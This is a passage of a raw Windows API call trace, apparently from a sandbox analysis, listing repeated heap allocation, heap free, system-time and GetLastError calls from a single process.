returned 0x3dd910 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830ae60, dwHighDateTime=0x1d595b2)) [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830ae60, dwHighDateTime=0x1d595b2)) [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830ae60, dwHighDateTime=0x1d595b2)) [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830ae60, dwHighDateTime=0x1d595b2)) [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830ae60, dwHighDateTime=0x1d595b2)) [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.175] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830d570, dwHighDateTime=0x1d595b2)) [0141.175] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830d570, dwHighDateTime=0x1d595b2)) [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.176] GetLastError () returned 0x578 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830d570, dwHighDateTime=0x1d595b2)) [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830d570, dwHighDateTime=0x1d595b2)) [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.176] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.176] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830fc80, dwHighDateTime=0x1d595b2)) [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830fc80, dwHighDateTime=0x1d595b2)) [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830fc80, dwHighDateTime=0x1d595b2)) [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830fc80, dwHighDateTime=0x1d595b2)) [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd830fc80, dwHighDateTime=0x1d595b2)) [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.177] GetLastError () returned 0x578 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.177] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.177] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8312390, dwHighDateTime=0x1d595b2)) [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8312390, dwHighDateTime=0x1d595b2)) [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8312390, dwHighDateTime=0x1d595b2)) [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8312390, dwHighDateTime=0x1d595b2)) [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8312390, dwHighDateTime=0x1d595b2)) [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8314aa0, dwHighDateTime=0x1d595b2)) [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.178] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.178] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8314aa0, dwHighDateTime=0x1d595b2)) [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.179] GetLastError () returned 0x578 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8314aa0, dwHighDateTime=0x1d595b2)) [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8314aa0, dwHighDateTime=0x1d595b2)) [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.179] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.179] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83171b0, dwHighDateTime=0x1d595b2)) [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83171b0, dwHighDateTime=0x1d595b2)) [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83171b0, dwHighDateTime=0x1d595b2)) [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83171b0, dwHighDateTime=0x1d595b2)) [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83171b0, dwHighDateTime=0x1d595b2)) [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.180] GetLastError () returned 0x578 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.180] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.180] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.244] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.245] 